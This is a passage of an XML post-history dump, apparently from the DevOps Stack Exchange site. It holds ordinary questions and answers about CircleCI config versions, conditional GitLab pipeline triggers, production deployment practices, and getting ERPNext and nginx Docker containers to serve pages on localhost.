https://web.archive.org/web/20200921001733/https://circleci.com/docs/2.0/workflows/#using-workspaces-to-share-data-among-jobs" ContentLicense="CC BY-SA 4.0" />
  <row Id="39128" PostHistoryTypeId="1" PostId="12747" RevisionGUID="5fde2543-9a4f-4920-9f22-351e8fa03618" CreationDate="2020-11-12T14:05:29.147" UserId="24705" Text="Why do so many circleCI configs use `version: 2` for their workflows?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39129" PostHistoryTypeId="3" PostId="12747" RevisionGUID="5fde2543-9a4f-4920-9f22-351e8fa03618" CreationDate="2020-11-12T14:05:29.147" UserId="24705" Text="&lt;circleci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39130" PostHistoryTypeId="2" PostId="12748" RevisionGUID="29b20a07-0aca-4ee0-8aca-a9753503fc5c" CreationDate="2020-11-12T16:37:55.103" UserId="24707" Text="I have this scenario where I want to run the trigger in build stage only when `$FLAG` variable has been set by the `.pre` stage. However, the `build` stage never runs.&#xD;&#xA;&#xD;&#xA;How should I conditionally trigger a downstream pipeline?&#xD;&#xA;&#xD;&#xA;    checkArtifactPresent:&#xD;&#xA;      stage: .pre&#xD;&#xA;      script:&#xD;&#xA;        - &gt;&#xD;&#xA;          set +e;&#xD;&#xA;          if curl -s -S -f $NEXUS_RAW_PICKER_REPOSITORY/${PRODUCT_FLAVOR}/${PRODUCT_FLAVOR}-${BUILD_TYPE}v${PICKER_TEMPLATE_TAG}.apk --output ${PRODUCT_FLAVOR}-${BUILD_TYPE}v${PICKER_TEMPLATE_TAG}.apk;&#xD;&#xA;          then&#xD;&#xA;            export FLAG= true;&#xD;&#xA;          fi&#xD;&#xA;&#xD;&#xA;    buildArtifact:&#xD;&#xA;      stage: build&#xD;&#xA;      only:&#xD;&#xA;       variables:&#xD;&#xA;         - $FLAG&#xD;&#xA;      trigger:&#xD;&#xA;       project: dev/project_name&#xD;&#xA;       strategy: depend" ContentLicense="CC BY-SA 4.0" />
  <row Id="39131" PostHistoryTypeId="1" PostId="12748" RevisionGUID="29b20a07-0aca-4ee0-8aca-a9753503fc5c" CreationDate="2020-11-12T16:37:55.103" UserId="24707" Text="Trigger gitlab downstream pipeline from a upstream pipeline in a multi-project using trigger, rules and custom configuration variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="39132" PostHistoryTypeId="3" PostId="12748" RevisionGUID="29b20a07-0aca-4ee0-8aca-a9753503fc5c" CreationDate="2020-11-12T16:37:55.103" UserId="24707" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;continuous-deployment&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39137" PostHistoryTypeId="50" PostId="3247" RevisionGUID="3ae2cf2a-aecb-4335-9b5c-ff82c0b12d52" CreationDate="2020-11-13T12:08:55.947" UserId="-1" />
  <row Id="39139" PostHistoryTypeId="50" PostId="12534" RevisionGUID="65f9746b-1bb3-4386-a89b-03e4cd2a2765" CreationDate="2020-11-13T15:01:40.190" UserId="-1" />
  <row Id="39140" PostHistoryTypeId="2" PostId="12750" RevisionGUID="80006fa7-6372-4057-935c-b8c47ba37d42" CreationDate="2020-11-13T16:52:54.367" UserId="677" Text="When you say &quot;Industry Standard&quot; that's very much going to depend on what industry.&#xA;&#xA;You *can* drop code into production however you want (legally restricted industries obviously being the exemption to this), but the question you should probably be examining is if you *should* be doing that.&#xA;&#xA;I've recently worked on products which range from having incredibly test coverage, huge amounts of infrastructure set up to perform every imaginable regression test against any integration point that exists, and even though it was not the done thing with that particular product, after passing all of the automated testing required for a branch to be mergable, I probably would have been pretty comfortable lodging straight to production. On the other end of the spectrum I've also worked on projects which arguably were developed in production given that the production instances were so dissimilar to what was actually checked in to source control or running in any test environment and, of course, no test cases to be seen.&#xA;&#xA;The standard approach to making production deployments as safe as possible is to try and ensure that the thing you are planning to deploy is as rigorously tested as possible, and to do that most of the testing will need to be automated, otherwise you'll just end up spending your life testing.&#xA;&#xA;Additionally, most modern systems use standard patterns to make a production roll back an extemely frictionless task, if not to automate it entirely. If you are deploying canaries of your software, or you are running a blue/green deployment and can have built in mechanisms to roll back if certain success conditions aren't met, then it further reduces the risk of a production change breaking something.&#xA;&#xA;&#xA;&#xA;Essentially, I would question anyone telling you how to manage and derisk your production releases unless they are just as intimate with the software as you are." ContentLicense="CC BY-SA 4.0" />
  <row Id="39141" PostHistoryTypeId="2" PostId="12751" RevisionGUID="0fdabcfb-dfef-4a87-b4f4-dd061827cea8" CreationDate="2020-11-13T22:53:02.840" UserId="23443" Text="About nine minutes into a [tutorial][1] on `ERPNext` I followed directions as:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# &#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# cat .env&#xD;&#xA;    LETSENCRYPT_EMAIL=nicholas@mordor.bounceme.net&#xD;&#xA;    ERPNEXT_VERSION=edge&#xD;&#xA;    FRAPPE_VERSION=edge&#xD;&#xA;    MARIADB_HOST=mariadb&#xD;&#xA;    MYSQL_ROOT_PASSWORD=admin&#xD;&#xA;    SITE_NAME=erp.mordor.bounceme.net&#xD;&#xA;    SITES=`erp.mordor.bounceme.net`&#xD;&#xA;    DB_ROOT_USER=root&#xD;&#xA;    ADMIN_PASSWORD=admin&#xD;&#xA;    INSTALL_APPS=erpnext&#xD;&#xA;    ENTRYPOINT_LABEL=traefik.http.routers.erpnext-nginx.entrypoints=websecure&#xD;&#xA;    CERT_RESOLVER_LABEL=traefik.http.routers.erpnext-nginx.tls.certresolver=myresolver&#xD;&#xA;    HTTPS_REDIRECT_RULE_LABEL=traefik.http.routers.http-catchall.rule=hostregexp(`{host:.+}`)&#xD;&#xA;    HTTPS_REDIRECT_ENTRYPOINT_LABEL=traefik.http.routers.http-catchall.entrypoints=web&#xD;&#xA;    HTTPS_REDIRECT_MIDDLEWARE_LABEL=traefik.http.routers.http-catchall.middlewares=redirect-to-https&#xD;&#xA;    HTTPS_USE_REDIRECT_MIDDLEWARE_LABEL=traefik.http.middlewares.redirect-to-https.redirectscheme.scheme=https&#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# &#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# docker-compose up -d&#xD;&#xA;    Creating network &quot;frappe_docker_default&quot; with the default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_redis-cache-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_cert-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_redis-queue-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_mariadb-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_redis-socketio-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_sites-vol&quot; with default driver&#xD;&#xA;    Creating volume &quot;frappe_docker_assets-vol&quot; with default driver&#xD;&#xA;    Pulling erpnext-python (frappe/erpnext-worker:edge)...&#xD;&#xA;    edge: Pulling from frappe/erpnext-worker&#xD;&#xA;    Digest: sha256:45e7fb925187bc6ed71ca8db2bd886a8cbcfb7714197b7f140fb479469bc3c98&#xD;&#xA;    Status: Downloaded newer image for frappe/erpnext-worker:edge&#xD;&#xA;    Pulling mariadb (mariadb:10.3)...&#xD;&#xA;    10.3: Pulling from library/mariadb&#xD;&#xA;    6a5697faee43: Pull complete&#xD;&#xA;    ba13d3bc422b: Pull complete&#xD;&#xA;    a254829d9e55: Pull complete&#xD;&#xA;    2ee2cadd29fc: Pull complete&#xD;&#xA;    6915a184049d: Pull complete&#xD;&#xA;    5ca6ffdb5f56: Pull complete&#xD;&#xA;    1537f7bbef8b: Pull complete&#xD;&#xA;    5790e54322d1: Pull complete&#xD;&#xA;    ea98cb829471: Pull complete&#xD;&#xA;    3247072bad5f: Pull complete&#xD;&#xA;    b3f16e2db43f: Pull complete&#xD;&#xA;    d78c54af82d5: Pull complete&#xD;&#xA;    b08843faa954: Pull complete&#xD;&#xA;    Digest: sha256:69dec37e0651252108d61ac87874ed8d83b74ead38d196b0bb10d784b7295e8b&#xD;&#xA;    Status: Downloaded newer image for mariadb:10.3&#xD;&#xA;    Pulling frappe-socketio (frappe/frappe-socketio:edge)...&#xD;&#xA;    edge: Pulling from frappe/frappe-socketio&#xD;&#xA;    babf97a3f00a: Pull complete&#xD;&#xA;    d81eb1809d95: Pull complete&#xD;&#xA;    d50e90677ab1: Pull complete&#xD;&#xA;    4ca478941ba5: Pull complete&#xD;&#xA;    cac0c8c03bb1: Pull complete&#xD;&#xA;    55aedfc1b65f: Pull complete&#xD;&#xA;    1bee561a211c: Pull complete&#xD;&#xA;    fab9a623660f: Pull complete&#xD;&#xA;    7b5f157fcbc6: Pull complete&#xD;&#xA;    e5f74c3ab32d: Pull complete&#xD;&#xA;    6f1760dc7d35: Pull complete&#xD;&#xA;    f9389a9f5f4c: Pull complete&#xD;&#xA;    Digest: sha256:dfe6dc1d2ffb824f04dc2cd620327f75355620ba657865ee98441c88b8596ed5&#xD;&#xA;    Status: Downloaded newer image for frappe/frappe-socketio:edge&#xD;&#xA;    Pulling traefik (traefik:v2.2)...&#xD;&#xA;    v2.2: Pulling from library/traefik&#xD;&#xA;    cbdbe7a5bc2a: Pull complete&#xD;&#xA;    f16506d32a25: Pull complete&#xD;&#xA;    605303653d66: Pull complete&#xD;&#xA;    a9005a35b171: Pull complete&#xD;&#xA;    Digest: sha256:ea0aa8832bfd08369166baecd40b35fc58979df8f5dc5182e4e63ee6adbe66db&#xD;&#xA;    Status: Downloaded newer image for traefik:v2.2&#xD;&#xA;    Pulling erpnext-nginx (frappe/erpnext-nginx:edge)...&#xD;&#xA;    edge: Pulling from frappe/erpnext-nginx&#xD;&#xA;    bb79b6b2107f: Pull complete&#xD;&#xA;    5a9f1c0027a7: Pull complete&#xD;&#xA;    b5c20b2b484f: Pull complete&#xD;&#xA;    166a2418f7e8: Pull complete&#xD;&#xA;    1966ea362d23: Pull complete&#xD;&#xA;    3915f6e86363: Pull complete&#xD;&#xA;    f6bb7178bcfb: Pull complete&#xD;&#xA;    44ac8c313cd6: Pull complete&#xD;&#xA;    07bf0268acb1: Pull complete&#xD;&#xA;    2b15c776928e: Pull complete&#xD;&#xA;    58517104a340: Pull complete&#xD;&#xA;    44e719acaf68: Pull complete&#xD;&#xA;    f16420799ad5: Pull complete&#xD;&#xA;    Digest: sha256:d7031e28b62d0e67eae432937902fe618d32709039a1d63199598881ed5c6459&#xD;&#xA;    Status: Downloaded newer image for frappe/erpnext-nginx:edge&#xD;&#xA;    Creating frappe_docker_redis-cache_1     ... done&#xD;&#xA;    Creating frappe_docker_erpnext-nginx_1  ... done&#xD;&#xA;    Creating frappe_docker_mariadb_1        ... done&#xD;&#xA;    Creating frappe_docker_erpnext-python_1  ... done&#xD;&#xA;    Creating frappe_docker_redis-socketio_1 ... done&#xD;&#xA;    Creating frappe_docker_traefik_1                ... done&#xD;&#xA;    Creating frappe_docker_redis-queue_1    ... done&#xD;&#xA;    Creating frappe_docker_frappe-socketio_1        ... done&#xD;&#xA;    Creating frappe_docker_site-creator_1           ... done&#xD;&#xA;    Creating frappe_docker_erpnext-schedule_1       ... done&#xD;&#xA;    Creating frappe_docker_erpnext-worker-long_1    ... done&#xD;&#xA;    Creating frappe_docker_erpnext-worker-default_1 ... done&#xD;&#xA;    Creating frappe_docker_erpnext-worker-short_1   ... done&#xD;&#xA;    root@mordor:/home/nicholas/git/frappe_docker# &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker container list&#xD;&#xA;    CONTAINER ID        IMAGE                         COMMAND                  CREATED             STATUS              PORTS                                      NAMES&#xD;&#xA;    d150de825277        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   15 minutes ago      Up 15 minutes       8000/tcp                                   frappe_docker_erpnext-worker-short_1&#xD;&#xA;    54c716c27275        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   15 minutes ago      Up 15 minutes       8000/tcp                                   frappe_docker_erpnext-worker-default_1&#xD;&#xA;    ef73c8514f32        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   15 minutes ago      Up 15 minutes       8000/tcp                                   frappe_docker_erpnext-schedule_1&#xD;&#xA;    ce45f0955bac        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   15 minutes ago      Up 15 minutes       8000/tcp                                   frappe_docker_erpnext-worker-long_1&#xD;&#xA;    9a3eb0a2f9d2        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   15 minutes ago      Up 15 minutes       8000/tcp                                   frappe_docker_site-creator_1&#xD;&#xA;    652280f21336        frappe/frappe-socketio:edge   &quot;docker-entrypoint.s…&quot;   16 minutes ago      Up 15 minutes                                                  frappe_docker_frappe-socketio_1&#xD;&#xA;    e6b6c59b01fd        redis:latest                  &quot;docker-entrypoint.s…&quot;   16 minutes ago      Up 16 minutes       6379/tcp                                   frappe_docker_redis-queue_1&#xD;&#xA;    c3e0d8c41c08        redis:latest                  &quot;docker-entrypoint.s…&quot;   16 minutes ago      Up 16 minutes       6379/tcp                                   frappe_docker_redis-socketio_1&#xD;&#xA;    58cd5b59579c        traefik:v2.2                  &quot;/entrypoint.sh --lo…&quot;   16 minutes ago      Up 15 minutes       0.0.0.0:80-&gt;80/tcp, 0.0.0.0:443-&gt;443/tcp   frappe_docker_traefik_1&#xD;&#xA;    4a4b4caffbec        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   16 minutes ago      Up 15 minutes       8000/tcp                                   frappe_docker_erpnext-python_1&#xD;&#xA;    221dd3e1e419        frappe/erpnext-nginx:edge     &quot;/docker-entrypoint.…&quot;   16 minutes ago      Up 14 minutes       80/tcp                                     frappe_docker_erpnext-nginx_1&#xD;&#xA;    6100cc729cb1        redis:latest                  &quot;docker-entrypoint.s…&quot;   16 minutes ago      Up 15 minutes       6379/tcp                                   frappe_docker_redis-cache_1&#xD;&#xA;    a31d8a43726c        mariadb:10.3                  &quot;docker-entrypoint.s…&quot;   16 minutes ago      Up 16 minutes       3306/tcp                                   frappe_docker_mariadb_1&#xD;&#xA;    root@mordor:~# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However:&#xD;&#xA;&#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;    nicholas@mordor:~$ lynx localhost --dump&#xD;&#xA;    &#xD;&#xA;    Looking up localhost&#xD;&#xA;    Making HTTP connection to localhost&#xD;&#xA;    Sending HTTP request.&#xD;&#xA;    HTTP request sent; waiting for response.&#xD;&#xA;    HTTP/1.0 302 Found&#xD;&#xA;    Data transfer complete&#xD;&#xA;    HTTP/1.0 302 Found&#xD;&#xA;    Using https://localhost/&#xD;&#xA;    Looking up localhost&#xD;&#xA;    Making HTTPS connection to localhost&#xD;&#xA;    &#xD;&#xA;    lynx: Can't access startfile http://localhost/&#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How do I configure as above for local usage?  Effectively, offline.  To my understanding, `nginx` is being used as a reverse proxy here.&#xD;&#xA;&#xD;&#xA;I'm getting some result:&#xD;&#xA;&#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;    nicholas@mordor:~$ lynx erp.mordor.bounceme.net --dump&#xD;&#xA;    &#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;&#xD;&#xA;but not the welcome screen I'm looking for.  The `FQDN` isn't publicly available.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://youtu.be/_08L9pubPCY&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39142" PostHistoryTypeId="1" PostId="12751" RevisionGUID="0fdabcfb-dfef-4a87-b4f4-dd061827cea8" CreationDate="2020-11-13T22:53:02.840" UserId="23443" Text="How to access a fully qualified domain name through &quot;localhost&quot;?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39143" PostHistoryTypeId="3" PostId="12751" RevisionGUID="0fdabcfb-dfef-4a87-b4f4-dd061827cea8" CreationDate="2020-11-13T22:53:02.840" UserId="23443" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;nginx&gt;&lt;dns&gt;&lt;environment-variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39144" PostHistoryTypeId="2" PostId="12752" RevisionGUID="d5c581d0-7af4-4a0f-adb6-51529f45724b" CreationDate="2020-11-14T00:32:09.077" UserId="23443" Text="[How do I copy][1] an `index.html` file into `nginx`?&#xD;&#xA;&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# ll&#xD;&#xA;    total 12&#xD;&#xA;    drwxrwxr-x 2 nicholas nicholas 4096 Nov 13 16:18 ./&#xD;&#xA;    drwxrwxr-x 3 nicholas nicholas 4096 Nov 13 16:12 ../&#xD;&#xA;    -rw-rw-r-- 1 nicholas nicholas   60 Nov 13 16:18 dockerfile&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# cat dockerfile &#xD;&#xA;    FROM nginx&#xD;&#xA;    COPY /home/nicholas/html /usr/share/nginx/html&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# docker build -t some-content-nginx .&#xD;&#xA;    Sending build context to Docker daemon  2.048kB&#xD;&#xA;    Step 1/2 : FROM nginx&#xD;&#xA;     ---&gt; c39a868aad02&#xD;&#xA;    Step 2/2 : COPY /home/nicholas/html /usr/share/nginx/html&#xD;&#xA;    COPY failed: stat /var/snap/docker/common/var-lib-docker/tmp/docker-builder726461098/home/nicholas/html: no such file or directory&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# ls /home/nicholas/html/&#xD;&#xA;    index.html&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# cat /home/nicholas/html/index.html &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    index&#xD;&#xA;    hello world&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    nicholas@mordor:~/html$ &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;I'm unclear on the source and destination, which might be complicated by `docker` having been installed from `snap`.&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/nginx&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39145" PostHistoryTypeId="1" PostId="12752" RevisionGUID="d5c581d0-7af4-4a0f-adb6-51529f45724b" CreationDate="2020-11-14T00:32:09.077" UserId="23443" Text="How to copy HTML files to include into nginx?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39146" PostHistoryTypeId="3" PostId="12752" RevisionGUID="d5c581d0-7af4-4a0f-adb6-51529f45724b" CreationDate="2020-11-14T00:32:09.077" UserId="23443" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;&lt;nginx&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39147" PostHistoryTypeId="5" PostId="12752" RevisionGUID="050c3f86-0631-4c3c-b210-5ba194323de5" CreationDate="2020-11-14T00:41:28.363" UserId="23443" Comment="added 373 characters in body" Text="[How do I copy][1] an `index.html` file into `nginx`?&#xD;&#xA;&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# ll&#xD;&#xA;    total 12&#xD;&#xA;    drwxrwxr-x 2 nicholas nicholas 4096 Nov 13 16:18 ./&#xD;&#xA;    drwxrwxr-x 3 nicholas nicholas 4096 Nov 13 16:12 ../&#xD;&#xA;    -rw-rw-r-- 1 nicholas nicholas   60 Nov 13 16:18 dockerfile&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# cat dockerfile &#xD;&#xA;    FROM nginx&#xD;&#xA;    COPY /home/nicholas/html /usr/share/nginx/html&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# docker build -t some-content-nginx .&#xD;&#xA;    Sending build context to Docker daemon  2.048kB&#xD;&#xA;    Step 1/2 : FROM nginx&#xD;&#xA;     ---&gt; c39a868aad02&#xD;&#xA;    Step 2/2 : COPY /home/nicholas/html /usr/share/nginx/html&#xD;&#xA;    COPY failed: stat /var/snap/docker/common/var-lib-docker/tmp/docker-builder726461098/home/nicholas/html: no such file or directory&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# ls /home/nicholas/html/&#xD;&#xA;    index.html&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# cat /home/nicholas/html/index.html &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    index&#xD;&#xA;    hello world&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    nicholas@mordor:~/html$ &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;I'm unclear on the source and destination, which might be complicated by `docker` having been installed from `snap`.&#xD;&#xA;    &#xD;&#xA;--------------------------&#xD;&#xA;&#xD;&#xA;[Looks][2] like `ansible` has slightly clearer, at least for me, syntax:&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;      - name: &quot;Copying files&quot;&#xD;&#xA;        copy:&#xD;&#xA;          src: files/{{ item }}&#xD;&#xA;          dest: /my/folder/&#xD;&#xA;        with_items:&#xD;&#xA;          - file.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;or perhaps I'm doing something incorrectly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/nginx&#xD;&#xA;  [2]: https://devops.stackexchange.com/q/10597/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="39148" PostHistoryTypeId="2" PostId="12753" RevisionGUID="6dc94ec0-3994-4284-b347-ba297616c826" CreationDate="2020-11-14T01:24:56.197" UserId="23443" Text="This at least builds and runs:&#xD;&#xA;&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# ls -al&#xD;&#xA;    total 16&#xD;&#xA;    drwxrwxr-x 2 nicholas nicholas 4096 Nov 13 17:18 .&#xD;&#xA;    drwxrwxr-x 3 nicholas nicholas 4096 Nov 13 16:12 ..&#xD;&#xA;    -rw-rw-r-- 1 nicholas nicholas   49 Nov 13 17:18 dockerfile&#xD;&#xA;    -rw-rw-r-- 1 nicholas nicholas   56 Nov 13 17:18 index.html&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# cat dockerfile &#xD;&#xA;    FROM nginx&#xD;&#xA;    COPY index.html /usr/share/nginx/html&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# cat index.html &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    hello world&#xD;&#xA;    &#xD;&#xA;    how do I put this file in a diff dir?&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# docker build -t some-content-nginx .&#xD;&#xA;    Sending build context to Docker daemon  3.072kB&#xD;&#xA;    Step 1/2 : FROM nginx&#xD;&#xA;     ---&gt; c39a868aad02&#xD;&#xA;    Step 2/2 : COPY index.html /usr/share/nginx/html&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 07a94375fb55&#xD;&#xA;    Successfully built 07a94375fb55&#xD;&#xA;    Successfully tagged some-content-nginx:latest&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# docker run --name some-nginx -d -p 8080:80 some-content-nginx&#xD;&#xA;    2c912aa5ce5c8b864a6fe79a18ee8e833874f85a75fed1c7020163ca7b90bedb&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;although I can't seem to get anything from navigating to `localhost` so I'll have to look closer at the `container` which is built." ContentLicense="CC BY-SA 4.0" />
  <row Id="39149" PostHistoryTypeId="2" PostId="12754" RevisionGUID="8ff10625-77c1-4318-aa37-f76c9c50784d" CreationDate="2020-11-14T01:32:55.370" UserId="23443" Text="This [builds][1] and runs without apparent error:&#xD;&#xA;&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# docker exec -ti some-nginx bash&#xD;&#xA;    root@2c912aa5ce5c:/# &#xD;&#xA;    root@2c912aa5ce5c:/# ls /usr/share/nginx/html/&#xD;&#xA;    50x.html  index.html&#xD;&#xA;    root@2c912aa5ce5c:/# &#xD;&#xA;    root@2c912aa5ce5c:/# cat /usr/share/nginx/html/50x.html &#xD;&#xA;    &lt;!DOCTYPE html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;title&gt;Error&lt;/title&gt;&#xD;&#xA;    &lt;style&gt;&#xD;&#xA;        body {&#xD;&#xA;            width: 35em;&#xD;&#xA;            margin: 0 auto;&#xD;&#xA;            font-family: Tahoma, Verdana, Arial, sans-serif;&#xD;&#xA;        }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;h1&gt;An error occurred.&lt;/h1&gt;&#xD;&#xA;    &lt;p&gt;Sorry, the page you are looking for is currently unavailable.&lt;br/&gt;&#xD;&#xA;    Please try again later.&lt;/p&gt;&#xD;&#xA;    &lt;p&gt;If you are the system administrator of this resource then you should check&#xD;&#xA;    the error log for details.&lt;/p&gt;&#xD;&#xA;    &lt;p&gt;&lt;em&gt;Faithfully yours, nginx.&lt;/em&gt;&lt;/p&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;    root@2c912aa5ce5c:/# &#xD;&#xA;    root@2c912aa5ce5c:/# cat /usr/share/nginx/html/index.html &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    hello world&#xD;&#xA;    &#xD;&#xA;    how do I put this file in a diff dir?&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@2c912aa5ce5c:/# &#xD;&#xA;    root@2c912aa5ce5c:/# exit&#xD;&#xA;    exit&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                COMMAND                  CREATED             STATUS              PORTS                  NAMES&#xD;&#xA;    2c912aa5ce5c        some-content-nginx   &quot;/docker-entrypoint.…&quot;   5 minutes ago       Up 5 minutes        0.0.0.0:8080-&gt;80/tcp   some-nginx&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# ls&#xD;&#xA;    dockerfile  index.html&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# cat dockerfile &#xD;&#xA;    FROM nginx&#xD;&#xA;    COPY index.html /usr/share/nginx/html&#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# cat index.html &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    hello world&#xD;&#xA;    &#xD;&#xA;    how do I put this file in a diff dir?&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@mordor:/home/nicholas/docker/nginx# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Yet, there's no output when browsing to `localhost`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;    nicholas@mordor:~$ lynx localhost --dump&#xD;&#xA;    &#xD;&#xA;    Looking up localhost&#xD;&#xA;    Making HTTP connection to localhost&#xD;&#xA;    Alert!: Unable to connect to remote host.&#xD;&#xA;    &#xD;&#xA;    lynx: Can't access startfile http://localhost/&#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;    nicholas@mordor:~$ lynx localhost/index.html --dump&#xD;&#xA;    &#xD;&#xA;    Looking up localhost&#xD;&#xA;    Making HTTP connection to localhost&#xD;&#xA;    Alert!: Unable to connect to remote host.&#xD;&#xA;    &#xD;&#xA;    lynx: Can't access startfile http://localhost/index.html&#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;    nicholas@mordor:~$ lynx localhost/50x.html --dump&#xD;&#xA;    &#xD;&#xA;    Looking up localhost&#xD;&#xA;    Making HTTP connection to localhost&#xD;&#xA;    Alert!: Unable to connect to remote host.&#xD;&#xA;    &#xD;&#xA;    lynx: Can't access startfile http://localhost/50x.html&#xD;&#xA;    nicholas@mordor:~$ 